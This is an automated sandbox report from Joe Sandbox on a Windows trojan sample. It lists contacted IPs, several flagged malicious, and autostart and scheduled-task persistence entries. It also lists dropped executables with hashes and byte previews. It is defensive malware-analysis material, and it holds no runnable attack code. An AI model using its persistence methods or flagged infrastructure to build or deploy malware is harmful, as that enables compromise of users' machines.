https://iplogger.org/	AddInProcess32.exe, 00000005.00000002.4510003590.000000000305D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003449000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003439000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003429000.00000004.00000800.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
212.110.188.202	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
38.127.179.10	unknown	United States	174	COGENT-174US	false
24.230.33.96	unknown	United States	11232	MIDCO-NETUS	false
43.128.107.251	unknown	Japan	4249	LILLY-ASUS	false
182.160.100.156	unknown	Bangladesh	24323	AAMRA-NETWORKS-AS-APaamranetworkslimitedBD	false
50.169.37.50	unknown	United States	7922	COMCAST-7922US	false
103.216.51.36	unknown	Cambodia	135375	TCC-AS-APTodayCommunicationCoLtdKH	true
31.170.22.127	unknown	Latvia	43513	NANO-ASLV	false
78.90.252.7	unknown	Bulgaria	20911	NETSURF-AS-BG	false
51.15.139.15	unknown	France	12876	OnlineSASFR	false
181.78.11.217	unknown	Argentina	52468	UFINETPANAMASAPA	false
156.239.52.94	unknown	Seychelles	8100	ASN-QUADRANET-GLOBALUS	false
89.168.121.175	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
45.227.193.166	unknown	Brazil	28146	MHNETTELECOMBR	false
181.78.11.218	unknown	Argentina	52468	UFINETPANAMASAPA	false
139.224.64.191	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
85.113.47.102	unknown	Russian Federation	34533	ESAMARA-ASRU	false
13.234.24.116	unknown	United States	16509	AMAZON-02US	false
103.4.118.130	unknown	Bangladesh	38203	ADNTELECOMLTD-BDADNTelecomLtdBD	false
31.43.63.70	unknown	Ukraine	50581	UTGUA	false
103.74.229.133	unknown	Bangladesh	131340	TAQWAIT-AS-APMdMozammelHoquetaTaqwaITBD	false
52.35.240.119	unknown	United States	16509	AMAZON-02US	false
202.6.225.92	unknown	Indonesia	23756	PADINET-AS-IDPADINET-PadiInternetID	false
176.36.138.238	unknown	Ukraine	39608	LANETUA-ASUA	false
119.15.89.87	unknown	Cambodia	24492	IIT-WICAM-AS-APWiCAMCorporationLtdKH	false
200.116.198.222	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
62.39.117.234	unknown	France	15557	LDCOMNETFR	false
221.194.149.8	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
146.19.106.42	unknown	France	7726	FITC-ASUS	false
103.79.96.217	unknown	Indonesia	64308	IDNIC-DATAON-AS-IDPTIndoDevNiagaInternetID	false
114.129.2.82	unknown	Japan	7671	MCNETNTTSmartConnectCorporationJP	false
46.17.63.166	unknown	United Kingdom	39326	HSO-GROUPGB	false
62.171.131.101	unknown	United Kingdom	51167	CONTABODE	true
216.74.255.182	unknown	United States	11215	LOGIXCOMM-ASUS	false
103.79.96.218	unknown	Indonesia	64308	IDNIC-DATAON-AS-IDPTIndoDevNiagaInternetID	false
103.220.205.162	unknown	Bangladesh	59362	KSNETWORK-AS-APKSNetworkLimitedBD	false
183.164.254.8	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
194.9.80.1	unknown	unknown	206495	IR-SADRA-20180529IR	false
103.47.93.252	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
212.110.188.222	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
103.47.93.248	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
201.163.73.93	unknown	Mexico	11172	AlestraSdeRLdeCVMX	false
54.223.158.88	unknown	China	55960	BJ-GUANGHUAN-APBeijingGuanghuanXinwangDigitalCN	false
67.205.177.122	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
202.162.105.202	unknown	Singapore	64050	BCPL-SGBGPNETGlobalASNSG	false
46.36.70.104	unknown	Lithuania	43627	KLI-ASLT	false
212.110.188.220	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
185.215.53.241	unknown	Armenia	205368	FNETAM	false
67.213.210.115	unknown	United States	32780	HOSTINGSERVICES-INCUS	false
172.67.200.220	unknown	United States	13335	CLOUDFLARENETUS	false
38.253.88.242	unknown	United States	174	COGENT-174US	false
201.48.125.221	unknown	Brazil	16735	ALGARTELECOMSABR	false
104.165.127.17	unknown	United States	18779	EGIHOSTINGUS	false
13.59.156.167	unknown	United States	16509	AMAZON-02US	false
38.242.199.111	unknown	United States	36336	NATIXISUS	false
34.176.113.148	unknown	United States	2686	ATGS-MMD-ASUS	false
188.40.44.83	unknown	Germany	24940	HETZNER-ASDE	false
190.61.106.97	unknown	Colombia	52468	UFINETPANAMASAPA	false
103.47.93.244	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
219.73.88.167	unknown	Hong Kong	4760	HKTIMS-APHKTLimitedHK	false
212.110.188.216	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
103.47.93.237	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
212.110.188.211	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
128.199.104.93	unknown	United Kingdom	14061	DIGITALOCEAN-ASNUS	false
103.47.93.236	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
212.110.188.213	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
35.207.123.94	unknown	United States	19527	GOOGLE-2US	false
103.153.63.211	unknown	unknown	134687	TWIDC-AS-APTWIDCLimitedHK	false
103.47.93.238	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
129.18.164.130	unknown	Nigeria	36923	SWIFTNG-ASNNG	false
103.107.68.5	unknown	Indonesia	137292	ICT-AS-IDPTIntranusaCoreTeknologiID	false
209.240.50.56	unknown	United States	36515	ASN-ALLENSUS	false
82.137.245.41	unknown	Syrian Arab Republic	29256	INT-PDN-STE-ASSTEPDNInternalASSY	false
156.239.50.3	unknown	Seychelles	8100	ASN-QUADRANET-GLOBALUS	false
156.239.50.5	unknown	Seychelles	8100	ASN-QUADRANET-GLOBALUS	false
148.72.23.56	unknown	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	false
188.40.44.95	unknown	Germany	24940	HETZNER-ASDE	false
172.67.200.219	sty.ink	United States	13335	CLOUDFLARENETUS	false
188.163.170.130	unknown	Ukraine	15895	KSNET-ASUA	false
81.250.223.126	unknown	France	3215	FranceTelecom-OrangeFR	false
218.252.244.126	unknown	Hong Kong	9908	HKCABLE2-HK-APHKCableTVLtdHK	false
122.3.45.189	unknown	Philippines	9299	IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH	false
212.110.188.204	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
191.101.1.116	unknown	Chile	61317	ASDETUKhttpwwwheficedcomGB	false
94.131.14.66	unknown	Ukraine	29632	NASSIST-ASGI	false
212.110.188.207	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
103.47.93.223	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
103.47.93.227	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
72.169.67.109	unknown	United States	6621	HNS-DIRECPCUS	false
104.165.127.33	unknown	United States	18779	EGIHOSTINGUS	false
104.17.9.114	unknown	United States	13335	CLOUDFLARENETUS	false
45.235.16.121	unknown	Brazil	267406	AGOBrasilInternetLtdaBR	false
138.0.228.120	unknown	Honduras	263725	MULTICABLEDEHONDURASHN	false
177.10.193.82	unknown	Brazil	262854	AFINETSOLUCOESEMTECNOLOGIADAINFORMACAOLTDABR	false
213.168.250.121	unknown	European Union	63949	LINODE-APLinodeLLCUS	false
20.33.5.27	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
200.174.198.95	unknown	Brazil	4230	CLAROSABR	false
45.71.15.136	unknown	Brazil	267595	MILANINNETBR	false
45.224.247.102	unknown	Brazil	266925	UPIXNETWORKSBR	false
186.211.110.178	unknown	Brazil	53062	GGNETTELECOMUNICACOESLTDABR	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1406292
Start date and time:	2024-03-11 03:29:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 15m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	70
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	dl7WL77rkA.exe (renamed file extension from none to exe, renamed because original name is a hash value)
Original Sample Name:	39245735a6a4d2495cb6a5207bb9d5e2b6c058d113b6b0efc292330a89611757
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@115/137@16/100
EGA Information:	Successful, ratio: 87.5%
HCA Information:	Successful, ratio: 88% Number of executed functions: 133 Number of non-executed functions: 200
Cookbook Comments:	Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.223.198.224, 23.223.199.186, 192.229.211.108
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-bg-shim.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net
Execution Graph export aborted for target AddInProcess32.exe, PID 44264 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: dl7WL77rkA.exe

Simulations

Behavior and APIs

Time	Type	Description
03:30:35	API Interceptor	80x Sleep call for process: dl7WL77rkA.exe modified
03:30:51	API Interceptor	32x Sleep call for process: powershell.exe modified
03:30:52	API Interceptor	4810x Sleep call for process: AddInProcess32.exe modified
03:30:54	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\5MU2eoXrXWjMqtCDgcUdxEXh.bat
03:30:59	API Interceptor	1x Sleep call for process: CGZL5y3D81OCbb2NABnHZhPM.exe modified
03:31:12	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6V1VrzZlnckbDLDx3vI2CQTI.bat
03:31:14	Task Scheduler	Run new task: 88e931437f4fbe2c path: C:\Users\user\AppData\Local\Temp\wfplwfs.exe
03:31:14	API Interceptor	16775x Sleep call for process: wfplwfs.exe modified
03:31:26	API Interceptor	6x Sleep call for process: sUyDoVTGsfEnMY0oeyexTBut.exe modified
03:31:26	API Interceptor	6x Sleep call for process: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe modified
03:31:27	API Interceptor	6x Sleep call for process: VvPx7JMqkEvTJAQ2rPS2y2wf.exe modified
03:31:30	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mIfCnFQFL1iakCTbZHUvqqRQ.bat
03:31:34	API Interceptor	6x Sleep call for process: VT4T5BrKWgz9d48cmEd8ePkZ.exe modified
03:31:43	API Interceptor	5x Sleep call for process: LP2uR8v5nKtflOO7HsEX74Am.exe modified
03:31:43	API Interceptor	6x Sleep call for process: PM6qM9TthMxsL1RAWEhuUNLx.exe modified
03:31:47	API Interceptor	5x Sleep call for process: YfSmDepXBWKsGmamEEWNYwB5.exe modified
03:31:47	API Interceptor	5x Sleep call for process: MK1r6sTJJ0KuvAGWdjimbW8H.exe modified
03:31:47	API Interceptor	5x Sleep call for process: pxzTG78L668f3mDyeDkHXryr.exe modified
03:31:47	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\11FhgNaI9OC9CIBuozAEgUpl.bat
03:31:49	Task Scheduler	Run new task: MalayamaraUpdate path: "C:\Users\user\AppData\Local\Temp\Updater.exe"
03:31:55	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\26fF1twXUUy7jGhqLx9vrwoW.bat
03:32:03	API Interceptor	5739x Sleep call for process: rundll32.exe modified
03:32:05	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\5wXkSqn4DIUtGScxeGbdZDl0.bat
03:32:17	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6gL1gG7ldW7PoVRDY8vKo5tc.bat
03:32:30	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7brphmKFPcG9dvFk5ljwDtYq.bat
03:32:44	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7lSYLKWCafZpx18kXQ49864p.bat
03:32:59	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\asxkwIl5OZIGfxZm6YYVmkyp.bat
03:33:10	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bKbfQedsHp5fPnIwSbgAXTGS.bat
03:33:20	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\C7JK1QLd1HhpC2iu6FzaXx9e.bat
03:33:30	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cgfjpHdWrKt7RBbVJLVt3KrQ.bat
03:33:41	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cizDnjn04HXlR48gG87ono06.bat
03:33:51	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cPDXi3YsHb2JKplcNt2ulL4v.bat
03:34:01	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CtKTLlY2LhR3aGX0PpowiHev.bat
03:34:10	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cXcTyLUx7TcAqwa1PaqAe42l.bat
03:34:20	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EQSWALPGSJbmdhZ5UXJP52TV.bat
03:34:29	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\F4MKwilBLbDn1AvI4NJYim3J.bat
03:34:41	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FYS7ZbtfMHg45nrX4x6uzB9u.bat
03:34:51	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Hx6FJnbZibFTuzR4KP9Slo6z.bat
03:34:59	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\I0bhPTX30r8P4G1lvu8sFzoW.bat
03:35:07	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\iFau6s6nP0Npku3mzBCNvuor.bat
03:35:17	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kiXcuJUJS97MOwYXLopyQBva.bat

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Mon Mar 11 02:34:37 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	6189520
Entropy (8bit):	0.39780971882583255
Encrypted:	false
SSDEEP:	6144:ONCQAKmAzeishDRcsgIQET4PLBDQeGss9Udu/XP:+EQLBkeGR9r/XP
MD5:	F00BCE22FCB3F0A5D198325F77388393
SHA1:	CC3FEE3599FF0C9130AC4BC174B7DB290FB7D935
SHA-256:	01ED5F37F8571DB21CCB600742ABC34D908C19757850D2350500580532AAE8C1
SHA-512:	93F8546B9D691B898E3FFCE472B52C64837010BC3DE4C27FAC387BAA090580DE8DB7EF7C6EA70617AE0AD402097F8E762C9F2E715A3CB065305B29F27790F2A0
Malicious:	false
Reputation:	unknown
Preview:	MDMP..a..... ........m.e........................................................................................................................................................................................................................eJ..............Lw......................T.......$....l.e.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Process:	C:\Users\user\Desktop\dl7WL77rkA.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 69211 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	69211
Entropy (8bit):	7.995787876711886
Encrypted:	true
SSDEEP:	1536:4vHkVfDISE//aDY0WAXTF+0daIpyFQaqPZkatNjgkFOE4/JZZWnEn6:4vHKfMSeKFXdBcmnXkksE40E6
MD5:	753DF6889FD7410A2E9FE333DA83A429
SHA1:	3C425F16E8267186061DD48AC1C77C122962456E
SHA-256:	B42DC237E44CBC9A43400E7D3F9CBD406DBDEFD62BFE87328F8663897D69DF78
SHA-512:	9D56F79410AD0CF852C74C3EF9454E7AE86E80BDD6FF67773994B48CCAC71142BCF5C90635DA6A056E1406E81E64674DB9584928E867C55B77B59E2851CF6444
Malicious:	false
Reputation:	unknown
Preview:	MSCF....[.......,...................I..................WR. .authroot.stl..L...5..CK..<Tk...p.k:.]...k..-.o.d.}.N.F....!.....$t)K."..DE.....v..gr...}?>.<.s..<...{.t..\F.e.F...8&.<..>...t8....`dqM4.y..t8..t..3..1.`\.:+.<].F...3.~.M.B.....J....PR.+..UUUV.GY...8...._vl.....H}.s.Pq..r.<.0.lG.C..e(..oe........9..'8..m.......G8T......sR..&=.J....s.U......#...).j...x.....gq.+.N:.Wj...V.t...(J.;^..Mr~e..}.q....q....eo..O.....@.B.S.....66.\|!.(.........D!k..&.. /.....H~.....}.(..\|.S..~8..A..(.#..w.Y.....'.F...y&.8......f..49r..N...(zX.0;.....000.3c)Z.v.5N'.z...rNFw,E.NY..#ua.o.$..Y?.-.=....}d...]......x_<.W....ya.3.a..SQT.U..\|!.pyCA..-h..Y..>n......^.U.....H...EY.\.......}.-(....h..=xiV.O.W@p.=.r.i..c...c....S.x.;..GWf...=.:.....S.c/..v..3.iG<.&..%...8..=}.....+.n\?0"A.Y%<......+..O. .9..#..>.....5.2.j.1<.Z.>v..j...wr.i.:....!...;.N[.q..z9j..l.R.&,....$.V...k.j..Tc..m..D!%....".Y.#V."w.\|....L\| ..p........w.=..ck...<........{s..w..};../.=...k....YH.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Process:	C:\Users\user\Desktop\dl7WL77rkA.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.1285707879821416
Encrypted:	false
SSDEEP:	6:kK9dMlTN+SkQlPlEGYRMY9z+4KlDA3RUe1HEbpo:I8kPlE99SNxAhUe1HEVo
MD5:	BBFEF737ABEC2F02399DF46EA4785933
SHA1:	2267EA19B090F414FB56950D1B376316541C79A5
SHA-256:	7806EAC284A2F2E85E17E57B9B56826359524B07AF927F49DB4E35BF2D8E1EB7
SHA-512:	39C40034E2D2CCCC7F81A1586B0FAADDC5136CC7B4C8B83C4188D6D0A126A9AB0165E05DF5FC14CED3C1FB1F4F89F0491D56ACC284006F801C4BBE6826D3E252
Malicious:	false
Reputation:	unknown
Preview:	p...... ........j&O._s..(....................................................... .........;.i......(...........[...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".2.c.8.3.b.1.3.b.a.f.6.9.d.a.1.:.0."...

C:\Users\user\AppData\Local\1DHjR2vk6vS49GBZmU2Ta1ix.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (414)
Category:	dropped
Size (bytes):	3612
Entropy (8bit):	4.599143365271236
Encrypted:	false
SSDEEP:	48:QiQvbGa6TDZzmQiNqcBkVEfriDe1lLfifMMT+CXDuHX3c:38bGRTihhL6HXYc
MD5:	7917747B96350149925033AC9DA849A2
SHA1:	B1EC9587BFC9A6F23C428243055C7C3AF360158C
SHA-256:	D1C53BC1B3F14231A78C1F09D9792CCAFFC498CC841B7C6D5DDC46C04C3EECD6
SHA-512:	E6C27B76BBA2BDF7D582450A2B7E0DC155318748B0F243C8DF9297E201D3DFC275726AB313F8040ECD42E09ED68E8C55932DF7B0BD9826DACD7FE50F5600A83C
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="en" class="h-100 scroll-behavior-smooth " dir="ltr">.<head>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1">.. CSRF Token -->. <meta name="csrf-token" content="zK3dWOfNGw8zLX9jYxrZwz92L6uiXNEyOnJuj3Z7">.. <title>Link disabled</title>.. <meta name="robots" content="noindex">.. <link href="https://shortiny.com/uploads/brand/favicon.png" rel="icon">.. Scripts -->. <script src="https://shortiny.com/js/app.js" defer></script>.. Styles -->. <link href="https://shortiny.com/css/app.css" rel="stylesheet" data-theme-light="https://shortiny.com/css/app.css" data-theme-dark="https://shortiny.com/css/app.dark.css" data-theme-target="href">.. . <style>. @import url("https://rsms.me/inter/inter.css");. </style>. </head>. <body class="d-flex flex-column">. <div class="bg-base-1 d-flex align-items-center flex-fill">. <div class="cont

C:\Users\user\AppData\Local\4xb6JU3I8UdzuT7ogqFnBL7Y.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4283792
Entropy (8bit):	7.9820526704646255
Encrypted:	false
SSDEEP:	98304:22m9igBHAN3V/nHEqdH/DzOhde70zTyblbjrAts3HH:2LIvF/H3d7z7Y3UUtoHH
MD5:	C03384EE0CB8E3A2FD0C84052AC0581F
SHA1:	BF8C0FF33582B6CD9E2BBBB243B1F4551810ED56
SHA-256:	7FBC9C8489F4AC1D85322892552012650A68307902FECEC265F01F994369A35E
SHA-512:	E25315483A070AD2AF3876B8818DC25F491B91617987F30C10CEBE31177CB5FB08BA6DF20B898C19F06840CB6796E5B846ECF715A13A7BA88C46EFB0A393B957
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E^.q+..q+..q+......q+......q+......q+......q+..q*..q+......q+......q+......q+.Rich.q+.........PE..L...+.Mc.....................\E...................@...................................B.....................................,.@.(....pE..w...........RA.................................................................L............................text...t........................... ..`.rdata....@.......@.................@..@.data... .....@..(....@.............@....rsrc....GL..pE..x....@.............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\BDWPWht51PAB6sI39ee6Tgbk.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7446
Entropy (8bit):	5.422209848736349
Encrypted:	false
SSDEEP:	192:HLlX+suv13xV1cSHYu+zogDLIIUOb6z5p7KoxSR1yz:H5X+Dv13T1FH0fHIIP69xKu
MD5:	5B423612B36CDE7F2745455C5DD82577
SHA1:	0187C7C80743B44E9E0C193E993294E3B969CC3D
SHA-256:	E0840D2EA74A00DCC545D770B91D9D889E5A82C7BEDF1B989E0A89DB04685B09
SHA-512:	C26A1E7E96DBD178D961C630ABD8E564EF69532F386FB198EB20119A88ECAB2FE885D71AC0C90687C18910CE00C445F352A5E8FBF5328F3403964F7C7802414C
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="https://cdn.iplogger.org/redirect/brand.png" />..<meta property="og:description" content="yip.su is a Branded Short Domain" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="o

C:\Users\user\AppData\Local\FH9ZiJrSMFU3hHrXc5ibJbFE.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7446
Entropy (8bit):	5.422209848736349
Encrypted:	false
SSDEEP:	192:HLlX+suv13xV1cSHYu+zogDLIIUOb6z5p7KoxSR1yz:H5X+Dv13T1FH0fHIIP69xKu
MD5:	5B423612B36CDE7F2745455C5DD82577
SHA1:	0187C7C80743B44E9E0C193E993294E3B969CC3D
SHA-256:	E0840D2EA74A00DCC545D770B91D9D889E5A82C7BEDF1B989E0A89DB04685B09
SHA-512:	C26A1E7E96DBD178D961C630ABD8E564EF69532F386FB198EB20119A88ECAB2FE885D71AC0C90687C18910CE00C445F352A5E8FBF5328F3403964F7C7802414C
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="https://cdn.iplogger.org/redirect/brand.png" />..<meta property="og:description" content="yip.su is a Branded Short Domain" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="o

C:\Users\user\AppData\Local\FXJXJcvxtZRFvWakkN6k83di.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	1878244
Entropy (8bit):	7.926614829163194
Encrypted:	false
SSDEEP:	49152:tIiiK2SE+8PR3K9gVDrtKfeKfgErtpX2cvwgx:qiiK2IWRakDrNfExpGcvwgx
MD5:	BD90ED9339BF690DAF83101CAA9EC91A
SHA1:	B43B709F8D8A4FA4261B9535D1601860F9715E39
SHA-256:	5BF81D9E8AA02DD01EF83000DF2EDDEFB54D71AA7033773D699D5963D5DE75E4
SHA-512:	BB4807A1887A7DFB65729E740216064FAE2C03684429E51E28801182012B1404CF35378B5714A2799696C6CD68CACB92D8270B93583E755E1474DF0444526DF7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..... W............................uC............@........................................... .................................\|....p...............................................................................................................text...$........................... .0`.data...............................@.`..rdata..8j.......l..................@.`@.bss......... ........................`..idata..\|...........................@.0..ndata..............................@.`..rsrc........p......................@.0.........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\H7TIhgIvG1Yhal1QnwrEdA0q.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4283792
Entropy (8bit):	7.9820526704646255
Encrypted:	false
